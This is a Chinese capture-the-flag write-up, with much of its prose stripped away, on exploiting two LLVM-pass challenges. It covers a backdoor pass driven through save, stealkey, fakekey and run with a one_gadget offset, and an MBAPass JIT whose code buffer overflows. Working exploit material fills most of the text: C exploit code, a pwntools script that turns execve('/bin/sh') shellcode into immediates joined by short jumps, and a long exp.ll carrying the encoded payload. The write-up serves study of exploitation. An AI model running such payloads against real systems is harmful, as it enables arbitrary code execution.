SATool
分析处理逻辑
B4ckDo0r
save
takeaway
stealkey
fakekey
run
调试与分析
save
save("deadbeef");
,然后断在malloc
下面,为什么选字符串呢,因为我看到了个memcpy ^^断点一 :0x4b8e0e
断点二 :0x1CC2 + 0x7ffff23a0000
.text:0000000000001CB8 mov edi, 18h ; size
.text:0000000000001CBD call _malloc
.text:0000000000001CC2 mov rbx, rax
save("deadbeef" ,"test");
,因为 memcpy 出现了两次 ^^,果然过了。takeaway
断点一 :0x4b8e0e
断点二 :0x1F4F + 0x7ffff23a0000
断点二 :0x1E1E + 0x7ffff23a0000
takeaway("deadbeef");
可以了捏,还真 free 掉了,估计save的第一个参数就是 key 第二个参数就是 data (之类的。stealkey
断点一 :0x4b8e0e
断点二 :0x1FFA+ 0x7ffff23a0000
在这之后顺便看看全局变量,将里面的 key 以8字节解引用了一份出来。
fakekey
llvm::APInt::getSExtValue
参数是Int嘛。断点一 :0x4b8e0e
断点二 :0x2121+ 0x7ffff23a0000
看得出来这里就是把 key 加上了一个偏移再复制回去。
执行这段前:
执行这段后,果然已经加上了这个偏移。
run
断点一 :0x4b8e0e
断点二 :0x21BC+ 0x7ffff23a0000
onegadget
,但是改成onegadget
的话应当需要知道libc的基地址。攻击
save("" , "test");
试了下也可以。void save(char *a , char *b);
void takeaway(char *a);
void stealkey();
void fakekey(int a);
void run();
void B4ckDo0r()
{
save("deadbeef" , "test");
save("" , "test");
stealkey();
// fakekey(0x111);
run();
}
ogg_offset:0x4f432
offset = - 0x39c87e
void save(char *a , char *b);
void takeaway(char *a);
void stealkey();
void fakekey(int a);
void run();
void B4ckDo0r()
{
save("deadbeef" , "test");
save("" , "test");
stealkey();
fakekey(- 0x39c87e);
run();
}
satool-2022
ubuntu22
下安装llvm-12
sudo apt install llvm-12
分析处理逻辑
MBAPass::handle
函数进行分析。char *__fastcall `anonymous namespace'::MBAPass::handle(context *this, llvm::Function *a2)
{
/// ///
stop_addr = this->code + 0xFF0;
v29 = (llvm::BasicBlock *)llvm::Function::front(a2);
Terminator = (llvm::User *)llvm::BasicBlock::getTerminator(v29);
Operand = llvm::User::getOperand(Terminator, 0);
if ( (llvm::isa<llvm::Constant,llvm::Value *>(&Operand) & 1) != 0 )
{
this->number = 0;
v2 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(Operand);
number = llvm::ConstantInt::getSExtValue(v2);
`anonymous namespace'::MBAPass::writeMovImm64(this, 0, number);
return `anonymous namespace'::MBAPass::writeRet(this);
}
else if ( (llvm::isa<llvm::Argument,llvm::Value *>(&Operand) & 1) != 0 )
{
this->number = 1;
`anonymous namespace'::MBAPass::writeMovImm64(this, 0, 0LL);
return `anonymous namespace'::MBAPass::writeRet(this);
}
else
{
`anonymous namespace'::MBAPass::writeMovImm64(this, 0, 0LL);
this->number = 0;
std::stack<llvm::Value *>::stack<std::deque<llvm::Value *>,void>(op_stack);
std::stack<int>::stack<std::deque<int>,void>(num_stack);
std::stack<llvm::Value *>::push(op_stack, &Operand);
v24 = 1;
std::stack<int>::push(num_stack, &v24);
while ( this->pointer < stop_addr )
{
if ( !std::stack<llvm::Value *>::size(op_stack) )
{
`anonymous namespace'::MBAPass::writeRet(this);
break;
}
op = *(llvm **)std::stack<llvm::Value *>::top(op_stack);
std::stack<llvm::Value *>::pop(op_stack);
num = *(_DWORD *)std::stack<int>::top(num_stack);
std::stack<int>::pop(num_stack);
v5 = op;
opcode = (llvm *)llvm::dyn_cast<llvm::BinaryOperator,llvm::Value>(op);
if ( !opcode )
{
v6 = llvm::errs(v5);
v7 = llvm::raw_ostream::operator<<(v6, "Unsupported opcode: ");
v8 = llvm::operator<<(v7, op);
llvm::raw_ostream::operator<<(v8, "n");
exit(-1);
}
if ( (unsigned int)llvm::BinaryOperator::getOpcode(opcode) != 13 )// add
{
v9 = opcode;
if ( (unsigned int)llvm::BinaryOperator::getOpcode(opcode) != 15 )// dec
{
v10 = llvm::errs(v9);
v15 = llvm::raw_ostream::operator<<(v10, "Unsupported opcode: ");
OpcodeName = llvm::Instruction::getOpcodeName(opcode);
v12 = llvm::raw_ostream::operator<<(v15, OpcodeName);
llvm::raw_ostream::operator<<(v12, "n");
exit(-1);
}
}
tmp_1 = llvm::BinaryOperator::getOperand(opcode, 0);// add
tmp_2 = llvm::BinaryOperator::getOperand(opcode, 1u);
if ( (llvm::isa<llvm::Constant,llvm::Value *>(&tmp_1) & 1) != 0 )
{
v13 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(tmp_1);
sign = llvm::ConstantInt::getSExtValue(v13);
if ( sign == 1 || sign == -1 )
{
`anonymous namespace'::MBAPass::writeInc(this, sign * num);
}
else
{
`anonymous namespace'::MBAPass::writeMovImm64(this, 1, sign * num);
`anonymous namespace'::MBAPass::writeOpReg(this, 1);
}
}
else if ( (llvm::isa<llvm::Argument,llvm::Value *>(&tmp_1) & 1) != 0 )
{
this->number += num;
}
else
{
std::stack<llvm::Value *>::push(op_stack, &tmp_1);
std::stack<int>::push();
}
if ( (unsigned int)llvm::BinaryOperator::getOpcode(opcode) == 15 )// dec
num = -num;
if ( (llvm::isa<llvm::Constant,llvm::Value *>(&tmp_2) & 1) != 0 )
{
v14 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(tmp_2);
sign1 = llvm::ConstantInt::getSExtValue(v14);
if ( sign1 == 1 || sign1 == -1 )
{
`anonymous namespace'::MBAPass::writeInc(this, num);
}
else
{
`anonymous namespace'::MBAPass::writeMovImm64(this, 1, sign1 * num);
`anonymous namespace'::MBAPass::writeOpReg(this, 1);
}
}
else if ( (llvm::isa<llvm::Argument,llvm::Value *>(&tmp_2) & 1) != 0 )
{
this->number += num;
}
else
{
std::stack<llvm::Value *>::push(op_stack, &tmp_2);
std::stack<int>::push();
}
}
std::stack<int>::~stack();
return (char *)std::stack<llvm::Value *>::~stack(op_stack);
}
}
code + 0xff0
处就停止。code + 0xff0
外残留一段代码,那么第二次的code如果够长,刚好溢出并且没有将ret写进去。add rax , xxxxxxxx
shellcode
解析,之后通过 jmp $+x
来进行跳转到另一个立即数里,就可以执行shellcode
了。调试与分析
define dso_local i64 @test1(i64 %0) local_unnamed_addr #0 {
%2 = sub nsw i64 %0, 2
%3 = add nsw i64 %2, 68
%4 = add nsw i64 %0, 6
%5 = add nsw i64 %4, -204
%6 = add nsw i64 %5, %3
ret i64 %6
}
可以先跑一下这个demo。
define dso_local i64 @test1(i64 %0) local_unnamed_addr #0 {
%2 = sub nsw i64 %0, 2
%3 = add nsw i64 %2, 68
%4 = add nsw i64 %0, 6
%5 = add nsw i64 %4, -204
%6 = add nsw i64 %5, %3
ret i64 %6
}
define dso_local i64 @test2(i64 %0) local_unnamed_addr #0 {
%2 = sub nsw i64 %0, 2
%3 = add nsw i64 %2, 11111
%4 = add nsw i64 %0, 2222
%5 = add nsw i64 %4, -111111111
%6 = add nsw i64 %5, %3
ret i64 %6
}
这条命令占3字节,另一条占13字节。
接下来尝试使用如下exp,调试一下。
define dso_local i64 @test1(i64 %0) local_unnamed_addr #0 {
%2 = add nsw i64 %0, 0
%3 = add nsw i64 %2, 43499
%4 = add nsw i64 %3, 43499
%5 = add nsw i64 %4, 43499
%6 = add nsw i64 %5, 43499
ret i64 %6
}
define dso_local i64 @test2(i64 %0) local_unnamed_addr #0 {
%2 = add nsw i64 %0, 1
ret i64 %2
}
断点一:0x42fe64
断点二:0xF750 + 0x7fffefdc7000
总长度 0xff0
我们总是想多溢出一些的,抛开前面的必写进去的两个字节,那么我们前面的长度最好凑成 0xfee ,最后一条指令的立即数刚好全部溢出去,调试发现前面会自动有一个10字节的命令
3*4 + 13*312 = 0xfee - 10
因此写 4 条 inc 312 条 add 就行
0x1122334455667788
攻击
3*9 + 13*311= 0xff0 - 10
call shellcode
,果然没有写进ret,并且已经把这个立即数当成shellcode执行了。2 + 8 + 3
其中 8 字节为可控字节
8+3=11
字节,之后的每一次跳转应为负的 8+2+3+8-2=19
字节,成功实现跳转。mov edi,xxx
之类的指令,可以减少长度,之后用寄存器左移指令移动到寄存器的高位,这样就可以写出如下shellcode。mov edi , 0x68732f
shl rdi , 32
mov esi , 0x6e69622f
add rdi , rsi
push rdi
mov rdi , rsp
xor rsi , rsi
xor rdx , rdx
mov eax , 0x3B
syscall
from pwn import *
context.update( os = 'linux', arch = 'amd64',timeout = 1)
# for i in range(408):
# print('%{} = add nsw i64 %{}, 43499'.format(i+1,i))
# for i in range(999):
# for j in range(999):
# if (3*i + j*13 ==(0xff0-10)):
# print(i,j)
shellcode = [
'mov edi , 0x68732f',
'shl rdi , 32',
'mov esi , 0x6e69622f',
'add rdi , rsi',
'push rdi',
'mov rdi , rsp',
'xor rsi , rsi',
'xor rdx , rdx',
'mov eax , 0x3B',
'syscall'
]
for i in shellcode:
print( u64(asm(i).ljust(6 , 'x90') + asm("jmp $-19")) )
exp.ll
文件。define dso_local i64 @test1(i64 %0) local_unnamed_addr #0 {
%2 = add nsw i64 %0, 62443
%3 = add nsw i64 %2, 43499
%4 = add nsw i64 %3, 43499
%5 = add nsw i64 %4, 43499
%6 = add nsw i64 %5, 43499
%7 = add nsw i64 %6, 43499
%8 = add nsw i64 %7, 43499
%9 = add nsw i64 %8, 43499
%10 = add nsw i64 %9, 43499
%11 = add nsw i64 %10, 43499
%12 = add nsw i64 %11, 43499
%13 = add nsw i64 %12, 43499
%14 = add nsw i64 %13, 43499
%15 = add nsw i64 %14, 43499
%16 = add nsw i64 %15, 43499
%17 = add nsw i64 %16, 43499
%18 = add nsw i64 %17, 43499
%19 = add nsw i64 %18, 43499
%20 = add nsw i64 %19, 43499
%21 = add nsw i64 %20, 43499
%22 = add nsw i64 %21, 43499
%23 = add nsw i64 %22, 43499
%24 = add nsw i64 %23, 43499
%25 = add nsw i64 %24, 43499
%26 = add nsw i64 %25, 43499
%27 = add nsw i64 %26, 43499
%28 = add nsw i64 %27, 43499
%29 = add nsw i64 %28, 43499
%30 = add nsw i64 %29, 43499
%31 = add nsw i64 %30, 43499
%32 = add nsw i64 %31, 43499
%33 = add nsw i64 %32, 43499
%34 = add nsw i64 %33, 43499
%35 = add nsw i64 %34, 43499
%36 = add nsw i64 %35, 43499
%37 = add nsw i64 %36, 43499
%38 = add nsw i64 %37, 43499
%39 = add nsw i64 %38, 43499
%40 = add nsw i64 %39, 43499
%41 = add nsw i64 %40, 43499
%42 = add nsw i64 %41, 43499
%43 = add nsw i64 %42, 43499
%44 = add nsw i64 %43, 43499
%45 = add nsw i64 %44, 43499
%46 = add nsw i64 %45, 43499
%47 = add nsw i64 %46, 43499
%48 = add nsw i64 %47, 43499
%49 = add nsw i64 %48, 43499
%50 = add nsw i64 %49, 43499
%51 = add nsw i64 %50, 43499
%52 = add nsw i64 %51, 43499
%53 = add nsw i64 %52, 43499
%54 = add nsw i64 %53, 43499
%55 = add nsw i64 %54, 43499
%56 = add nsw i64 %55, 43499
%57 = add nsw i64 %56, 43499
%58 = add nsw i64 %57, 43499
%59 = add nsw i64 %58, 43499
%60 = add nsw i64 %59, 43499
%61 = add nsw i64 %60, 43499
%62 = add nsw i64 %61, 43499
%63 = add nsw i64 %62, 43499
%64 = add nsw i64 %63, 43499
%65 = add nsw i64 %64, 43499
%66 = add nsw i64 %65, 43499
%67 = add nsw i64 %66, 43499
%68 = add nsw i64 %67, 43499
%69 = add nsw i64 %68, 43499
%70 = add nsw i64 %69, 43499
%71 = add nsw i64 %70, 43499
%72 = add nsw i64 %71, 43499
%73 = add nsw i64 %72, 43499
%74 = add nsw i64 %73, 43499
%75 = add nsw i64 %74, 43499
%76 = add nsw i64 %75, 43499
%77 = add nsw i64 %76, 43499
%78 = add nsw i64 %77, 43499
%79 = add nsw i64 %78, 43499
%80 = add nsw i64 %79, 43499
%81 = add nsw i64 %80, 43499
%82 = add nsw i64 %81, 43499
%83 = add nsw i64 %82, 43499
%84 = add nsw i64 %83, 43499
%85 = add nsw i64 %84, 43499
%86 = add nsw i64 %85, 43499
%87 = add nsw i64 %86, 43499
%88 = add nsw i64 %87, 43499
%89 = add nsw i64 %88, 43499
%90 = add nsw i64 %89, 43499
%91 = add nsw i64 %90, 43499
%92 = add nsw i64 %91, 43499
%93 = add nsw i64 %92, 43499
%94 = add nsw i64 %93, 43499
%95 = add nsw i64 %94, 43499
%96 = add nsw i64 %95, 43499
%97 = add nsw i64 %96, 43499
%98 = add nsw i64 %97, 43499
%99 = add nsw i64 %98, 43499
%100 = add nsw i64 %99, 43499
%101 = add nsw i64 %100, 43499
%102 = add nsw i64 %101, 43499
%103 = add nsw i64 %102, 43499
%104 = add nsw i64 %103, 43499
%105 = add nsw i64 %104, 43499
%106 = add nsw i64 %105, 43499
%107 = add nsw i64 %106, 43499
%108 = add nsw i64 %107, 43499
%109 = add nsw i64 %108, 43499
%110 = add nsw i64 %109, 43499
%111 = add nsw i64 %110, 43499
%112 = add nsw i64 %111, 43499
%113 = add nsw i64 %112, 43499
%114 = add nsw i64 %113, 43499
%115 = add nsw i64 %114, 43499
%116 = add nsw i64 %115, 43499
%117 = add nsw i64 %116, 43499
%118 = add nsw i64 %117, 43499
%119 = add nsw i64 %118, 43499
%120 = add nsw i64 %119, 43499
%121 = add nsw i64 %120, 43499
%122 = add nsw i64 %121, 43499
%123 = add nsw i64 %122, 43499
%124 = add nsw i64 %123, 43499
%125 = add nsw i64 %124, 43499
%126 = add nsw i64 %125, 43499
%127 = add nsw i64 %126, 43499
%128 = add nsw i64 %127, 43499
%129 = add nsw i64 %128, 43499
%130 = add nsw i64 %129, 43499
%131 = add nsw i64 %130, 43499
%132 = add nsw i64 %131, 43499
%133 = add nsw i64 %132, 43499
%134 = add nsw i64 %133, 43499
%135 = add nsw i64 %134, 43499
%136 = add nsw i64 %135, 43499
%137 = add nsw i64 %136, 43499
%138 = add nsw i64 %137, 43499
%139 = add nsw i64 %138, 43499
%140 = add nsw i64 %139, 43499
%141 = add nsw i64 %140, 43499
%142 = add nsw i64 %141, 43499
%143 = add nsw i64 %142, 43499
%144 = add nsw i64 %143, 43499
%145 = add nsw i64 %144, 43499
%146 = add nsw i64 %145, 43499
%147 = add nsw i64 %146, 43499
%148 = add nsw i64 %147, 43499
%149 = add nsw i64 %148, 43499
%150 = add nsw i64 %149, 43499
%151 = add nsw i64 %150, 43499
%152 = add nsw i64 %151, 43499
%153 = add nsw i64 %152, 43499
%154 = add nsw i64 %153, 43499
%155 = add nsw i64 %154, 43499
%156 = add nsw i64 %155, 43499
%157 = add nsw i64 %156, 43499
%158 = add nsw i64 %157, 43499
%159 = add nsw i64 %158, 43499
%160 = add nsw i64 %159, 43499
%161 = add nsw i64 %160, 43499
%162 = add nsw i64 %161, 43499
%163 = add nsw i64 %162, 43499
%164 = add nsw i64 %163, 43499
%165 = add nsw i64 %164, 43499
%166 = add nsw i64 %165, 43499
%167 = add nsw i64 %166, 43499
%168 = add nsw i64 %167, 43499
%169 = add nsw i64 %168, 43499
%170 = add nsw i64 %169, 43499
%171 = add nsw i64 %170, 43499
%172 = add nsw i64 %171, 43499
%173 = add nsw i64 %172, 43499
%174 = add nsw i64 %173, 43499
%175 = add nsw i64 %174, 43499
%176 = add nsw i64 %175, 43499
%177 = add nsw i64 %176, 43499
%178 = add nsw i64 %177, 43499
%179 = add nsw i64 %178, 43499
%180 = add nsw i64 %179, 43499
%181 = add nsw i64 %180, 43499
%182 = add nsw i64 %181, 43499
%183 = add nsw i64 %182, 43499
%184 = add nsw i64 %183, 43499
%185 = add nsw i64 %184, 43499
%186 = add nsw i64 %185, 43499
%187 = add nsw i64 %186, 43499
%188 = add nsw i64 %187, 43499
%189 = add nsw i64 %188, 43499
%190 = add nsw i64 %189, 43499
%191 = add nsw i64 %190, 43499
%192 = add nsw i64 %191, 43499
%193 = add nsw i64 %192, 43499
%194 = add nsw i64 %193, 43499
%195 = add nsw i64 %194, 43499
%196 = add nsw i64 %195, 43499
%197 = add nsw i64 %196, 43499
%198 = add nsw i64 %197, 43499
%199 = add nsw i64 %198, 43499
%200 = add nsw i64 %199, 43499
%201 = add nsw i64 %200, 43499
%202 = add nsw i64 %201, 43499
%203 = add nsw i64 %202, 43499
%204 = add nsw i64 %203, 43499
%205 = add nsw i64 %204, 43499
%206 = add nsw i64 %205, 43499
%207 = add nsw i64 %206, 43499
%208 = add nsw i64 %207, 43499
%209 = add nsw i64 %208, 43499
%210 = add nsw i64 %209, 43499
%211 = add nsw i64 %210, 43499
%212 = add nsw i64 %211, 43499
%213 = add nsw i64 %212, 43499
%214 = add nsw i64 %213, 43499
%215 = add nsw i64 %214, 43499
%216 = add nsw i64 %215, 43499
%217 = add nsw i64 %216, 43499
%218 = add nsw i64 %217, 43499
%219 = add nsw i64 %218, 43499
%220 = add nsw i64 %219, 43499
%221 = add nsw i64 %220, 43499
%222 = add nsw i64 %221, 43499
%223 = add nsw i64 %222, 43499
%224 = add nsw i64 %223, 43499
%225 = add nsw i64 %224, 43499
%226 = add nsw i64 %225, 43499
%227 = add nsw i64 %226, 43499
%228 = add nsw i64 %227, 43499
%229 = add nsw i64 %228, 43499
%230 = add nsw i64 %229, 43499
%231 = add nsw i64 %230, 43499
%232 = add nsw i64 %231, 43499
%233 = add nsw i64 %232, 43499
%234 = add nsw i64 %233, 43499
%235 = add nsw i64 %234, 43499
%236 = add nsw i64 %235, 43499
%237 = add nsw i64 %236, 43499
%238 = add nsw i64 %237, 43499
%239 = add nsw i64 %238, 43499
%240 = add nsw i64 %239, 43499
%241 = add nsw i64 %240, 43499
%242 = add nsw i64 %241, 43499
%243 = add nsw i64 %242, 43499
%244 = add nsw i64 %243, 43499
%245 = add nsw i64 %244, 43499
%246 = add nsw i64 %245, 43499
%247 = add nsw i64 %246, 43499
%248 = add nsw i64 %247, 43499
%249 = add nsw i64 %248, 43499
%250 = add nsw i64 %249, 43499
%251 = add nsw i64 %250, 43499
%252 = add nsw i64 %251, 43499
%253 = add nsw i64 %252, 43499
%254 = add nsw i64 %253, 43499
%255 = add nsw i64 %254, 43499
%256 = add nsw i64 %255, 43499
%257 = add nsw i64 %256, 43499
%258 = add nsw i64 %257, 43499
%259 = add nsw i64 %258, 43499
%260 = add nsw i64 %259, 43499
%261 = add nsw i64 %260, 43499
%262 = add nsw i64 %261, 43499
%263 = add nsw i64 %262, 43499
%264 = add nsw i64 %263, 43499
%265 = add nsw i64 %264, 43499
%266 = add nsw i64 %265, 43499
%267 = add nsw i64 %266, 43499
%268 = add nsw i64 %267, 43499
%269 = add nsw i64 %268, 43499
%270 = add nsw i64 %269, 43499
%271 = add nsw i64 %270, 43499
%272 = add nsw i64 %271, 43499
%273 = add nsw i64 %272, 43499
%274 = add nsw i64 %273, 43499
%275 = add nsw i64 %274, 43499
%276 = add nsw i64 %275, 43499
%277 = add nsw i64 %276, 43499
%278 = add nsw i64 %277, 43499
%279 = add nsw i64 %278, 43499
%280 = add nsw i64 %279, 43499
%281 = add nsw i64 %280, 43499
%282 = add nsw i64 %281, 43499
%283 = add nsw i64 %282, 43499
%284 = add nsw i64 %283, 43499
%285 = add nsw i64 %284, 43499
%286 = add nsw i64 %285, 43499
%287 = add nsw i64 %286, 43499
%288 = add nsw i64 %287, 43499
%289 = add nsw i64 %288, 43499
%290 = add nsw i64 %289, 43499
%291 = add nsw i64 %290, 43499
%292 = add nsw i64 %291, 43499
%293 = add nsw i64 %292, 43499
%294 = add nsw i64 %293, 43499
%295 = add nsw i64 %294, 43499
%296 = add nsw i64 %295, 43499
%297 = add nsw i64 %296, 43499
%298 = add nsw i64 %297, 43499
%299 = add nsw i64 %298, 43499
%300 = add nsw i64 %299, 43499
%301 = add nsw i64 %300, 43499
%302 = add nsw i64 %301, 43499
%303 = add nsw i64 %302, 43499
%304 = add nsw i64 %303, 43499
%305 = add nsw i64 %304, 43499
%306 = add nsw i64 %305, 43499
%307 = add nsw i64 %306, 43499
%308 = add nsw i64 %307, 43499
%309 = add nsw i64 %308, 43499
%310 = add nsw i64 %309, 43499
%311 = add nsw i64 %310, 43499
%312 = add nsw i64 %311, 43499
%313 = add nsw i64 %312, 43499
%314 = add nsw i64 %313, 43499
%315 = add nsw i64 %314, 1
%316 = add nsw i64 %315, 1
%317 = add nsw i64 %316, 1
%318 = add nsw i64 %317, 1
ret i64 %318
}
define dso_local i64 @test2(i64 %0) local_unnamed_addr #0 {
%2 = add nsw i64 %0, 16999839549866848191
%3 = add nsw i64 %2, 16999840167141818696
%4 = add nsw i64 %3, 16999840022328913854
%5 = add nsw i64 %4, 16999840169021866312
%6 = add nsw i64 %5, 16999840169015152727
%7 = add nsw i64 %6, 16999840169020852552
%8 = add nsw i64 %7, 16999840169021813064
%9 = add nsw i64 %8, 16999840169019453768
%10 = add nsw i64 %9, 16999839548114484152
%11 = add nsw i64 %10, 16999840169015117071
%12 = add nsw i64 %11, 43499
%13 = add nsw i64 %12, 43499
%14 = add nsw i64 %13, 43499
%15 = add nsw i64 %14, 43499
%16 = add nsw i64 %15, 43499
%17 = add nsw i64 %16, 43499
%18 = add nsw i64 %17, 43499
%19 = add nsw i64 %18, 43499
%20 = add nsw i64 %19, 43499
%21 = add nsw i64 %20, 43499
%22 = add nsw i64 %21, 43499
%23 = add nsw i64 %22, 43499
%24 = add nsw i64 %23, 43499
%25 = add nsw i64 %24, 43499
%26 = add nsw i64 %25, 43499
%27 = add nsw i64 %26, 43499
%28 = add nsw i64 %27, 43499
%29 = add nsw i64 %28, 43499
%30 = add nsw i64 %29, 43499
%31 = add nsw i64 %30, 43499
%32 = add nsw i64 %31, 43499
%33 = add nsw i64 %32, 43499
%34 = add nsw i64 %33, 43499
%35 = add nsw i64 %34, 43499
%36 = add nsw i64 %35, 43499
%37 = add nsw i64 %36, 43499
%38 = add nsw i64 %37, 43499
%39 = add nsw i64 %38, 43499
%40 = add nsw i64 %39, 43499
%41 = add nsw i64 %40, 43499
%42 = add nsw i64 %41, 43499
%43 = add nsw i64 %42, 43499
%44 = add nsw i64 %43, 43499
%45 = add nsw i64 %44, 43499
%46 = add nsw i64 %45, 43499
%47 = add nsw i64 %46, 43499
%48 = add nsw i64 %47, 43499
%49 = add nsw i64 %48, 43499
%50 = add nsw i64 %49, 43499
%51 = add nsw i64 %50, 43499
%52 = add nsw i64 %51, 43499
%53 = add nsw i64 %52, 43499
%54 = add nsw i64 %53, 43499
%55 = add nsw i64 %54, 43499
%56 = add nsw i64 %55, 43499
%57 = add nsw i64 %56, 43499
%58 = add nsw i64 %57, 43499
%59 = add nsw i64 %58, 43499
%60 = add nsw i64 %59, 43499
%61 = add nsw i64 %60, 43499
%62 = add nsw i64 %61, 43499
%63 = add nsw i64 %62, 43499
%64 = add nsw i64 %63, 43499
%65 = add nsw i64 %64, 43499
%66 = add nsw i64 %65, 43499
%67 = add nsw i64 %66, 43499
%68 = add nsw i64 %67, 43499
%69 = add nsw i64 %68, 43499
%70 = add nsw i64 %69, 43499
%71 = add nsw i64 %70, 43499
%72 = add nsw i64 %71, 43499
%73 = add nsw i64 %72, 43499
%74 = add nsw i64 %73, 43499
%75 = add nsw i64 %74, 43499
%76 = add nsw i64 %75, 43499
%77 = add nsw i64 %76, 43499
%78 = add nsw i64 %77, 43499
%79 = add nsw i64 %78, 43499
%80 = add nsw i64 %79, 43499
%81 = add nsw i64 %80, 43499
%82 = add nsw i64 %81, 43499
%83 = add nsw i64 %82, 43499
%84 = add nsw i64 %83, 43499
%85 = add nsw i64 %84, 43499
%86 = add nsw i64 %85, 43499
%87 = add nsw i64 %86, 43499
%88 = add nsw i64 %87, 43499
%89 = add nsw i64 %88, 43499
%90 = add nsw i64 %89, 43499
%91 = add nsw i64 %90, 43499
%92 = add nsw i64 %91, 43499
%93 = add nsw i64 %92, 43499
%94 = add nsw i64 %93, 43499
%95 = add nsw i64 %94, 43499
%96 = add nsw i64 %95, 43499
%97 = add nsw i64 %96, 43499
%98 = add nsw i64 %97, 43499
%99 = add nsw i64 %98, 43499
%100 = add nsw i64 %99, 43499
%101 = add nsw i64 %100, 43499
%102 = add nsw i64 %101, 43499
%103 = add nsw i64 %102, 43499
%104 = add nsw i64 %103, 43499
%105 = add nsw i64 %104, 43499
%106 = add nsw i64 %105, 43499
%107 = add nsw i64 %106, 43499
%108 = add nsw i64 %107, 43499
%109 = add nsw i64 %108, 43499
%110 = add nsw i64 %109, 43499
%111 = add nsw i64 %110, 43499
%112 = add nsw i64 %111, 43499
%113 = add nsw i64 %112, 43499
%114 = add nsw i64 %113, 43499
%115 = add nsw i64 %114, 43499
%116 = add nsw i64 %115, 43499
%117 = add nsw i64 %116, 43499
%118 = add nsw i64 %117, 43499
%119 = add nsw i64 %118, 43499
%120 = add nsw i64 %119, 43499
%121 = add nsw i64 %120, 43499
%122 = add nsw i64 %121, 43499
%123 = add nsw i64 %122, 43499
%124 = add nsw i64 %123, 43499
%125 = add nsw i64 %124, 43499
%126 = add nsw i64 %125, 43499
%127 = add nsw i64 %126, 43499
%128 = add nsw i64 %127, 43499
%129 = add nsw i64 %128, 43499
%130 = add nsw i64 %129, 43499
%131 = add nsw i64 %130, 43499
%132 = add nsw i64 %131, 43499
%133 = add nsw i64 %132, 43499
%134 = add nsw i64 %133, 43499
%135 = add nsw i64 %134, 43499
%136 = add nsw i64 %135, 43499
%137 = add nsw i64 %136, 43499
%138 = add nsw i64 %137, 43499
%139 = add nsw i64 %138, 43499
%140 = add nsw i64 %139, 43499
%141 = add nsw i64 %140, 43499
%142 = add nsw i64 %141, 43499
%143 = add nsw i64 %142, 43499
%144 = add nsw i64 %143, 43499
%145 = add nsw i64 %144, 43499
%146 = add nsw i64 %145, 43499
%147 = add nsw i64 %146, 43499
%148 = add nsw i64 %147, 43499
%149 = add nsw i64 %148, 43499
%150 = add nsw i64 %149, 43499
%151 = add nsw i64 %150, 43499
%152 = add nsw i64 %151, 43499
%153 = add nsw i64 %152, 43499
%154 = add nsw i64 %153, 43499
%155 = add nsw i64 %154, 43499
%156 = add nsw i64 %155, 43499
%157 = add nsw i64 %156, 43499
%158 = add nsw i64 %157, 43499
%159 = add nsw i64 %158, 43499
%160 = add nsw i64 %159, 43499
%161 = add nsw i64 %160, 43499
%162 = add nsw i64 %161, 43499
%163 = add nsw i64 %162, 43499
%164 = add nsw i64 %163, 43499
%165 = add nsw i64 %164, 43499
%166 = add nsw i64 %165, 43499
%167 = add nsw i64 %166, 43499
%168 = add nsw i64 %167, 43499
%169 = add nsw i64 %168, 43499
%170 = add nsw i64 %169, 43499
%171 = add nsw i64 %170, 43499
%172 = add nsw i64 %171, 43499
%173 = add nsw i64 %172, 43499
%174 = add nsw i64 %173, 43499
%175 = add nsw i64 %174, 43499
%176 = add nsw i64 %175, 43499
%177 = add nsw i64 %176, 43499
%178 = add nsw i64 %177, 43499
%179 = add nsw i64 %178, 43499
%180 = add nsw i64 %179, 43499
%181 = add nsw i64 %180, 43499
%182 = add nsw i64 %181, 43499
%183 = add nsw i64 %182, 43499
%184 = add nsw i64 %183, 43499
%185 = add nsw i64 %184, 43499
%186 = add nsw i64 %185, 43499
%187 = add nsw i64 %186, 43499
%188 = add nsw i64 %187, 43499
%189 = add nsw i64 %188, 43499
%190 = add nsw i64 %189, 43499
%191 = add nsw i64 %190, 43499
%192 = add nsw i64 %191, 43499
%193 = add nsw i64 %192, 43499
%194 = add nsw i64 %193, 43499
%195 = add nsw i64 %194, 43499
%196 = add nsw i64 %195, 43499
%197 = add nsw i64 %196, 43499
%198 = add nsw i64 %197, 43499
%199 = add nsw i64 %198, 43499
%200 = add nsw i64 %199, 43499
%201 = add nsw i64 %200, 43499
%202 = add nsw i64 %201, 43499
%203 = add nsw i64 %202, 43499
%204 = add nsw i64 %203, 43499
%205 = add nsw i64 %204, 43499
%206 = add nsw i64 %205, 43499
%207 = add nsw i64 %206, 43499
%208 = add nsw i64 %207, 43499
%209 = add nsw i64 %208, 43499
%210 = add nsw i64 %209, 43499
%211 = add nsw i64 %210, 43499
%212 = add nsw i64 %211, 43499
%213 = add nsw i64 %212, 43499
%214 = add nsw i64 %213, 43499
%215 = add nsw i64 %214, 43499
%216 = add nsw i64 %215, 43499
%217 = add nsw i64 %216, 43499
%218 = add nsw i64 %217, 43499
%219 = add nsw i64 %218, 43499
%220 = add nsw i64 %219, 43499
%221 = add nsw i64 %220, 43499
%222 = add nsw i64 %221, 43499
%223 = add nsw i64 %222, 43499
%224 = add nsw i64 %223, 43499
%225 = add nsw i64 %224, 43499
%226 = add nsw i64 %225, 43499
%227 = add nsw i64 %226, 43499
%228 = add nsw i64 %227, 43499
%229 = add nsw i64 %228, 43499
%230 = add nsw i64 %229, 43499
%231 = add nsw i64 %230, 43499
%232 = add nsw i64 %231, 43499
%233 = add nsw i64 %232, 43499
%234 = add nsw i64 %233, 43499
%235 = add nsw i64 %234, 43499
%236 = add nsw i64 %235, 43499
%237 = add nsw i64 %236, 43499
%238 = add nsw i64 %237, 43499
%239 = add nsw i64 %238, 43499
%240 = add nsw i64 %239, 43499
%241 = add nsw i64 %240, 43499
%242 = add nsw i64 %241, 43499
%243 = add nsw i64 %242, 43499
%244 = add nsw i64 %243, 43499
%245 = add nsw i64 %244, 43499
%246 = add nsw i64 %245, 43499
%247 = add nsw i64 %246, 43499
%248 = add nsw i64 %247, 43499
%249 = add nsw i64 %248, 43499
%250 = add nsw i64 %249, 43499
%251 = add nsw i64 %250, 43499
%252 = add nsw i64 %251, 43499
%253 = add nsw i64 %252, 43499
%254 = add nsw i64 %253, 43499
%255 = add nsw i64 %254, 43499
%256 = add nsw i64 %255, 43499
%257 = add nsw i64 %256, 43499
%258 = add nsw i64 %257, 43499
%259 = add nsw i64 %258, 43499
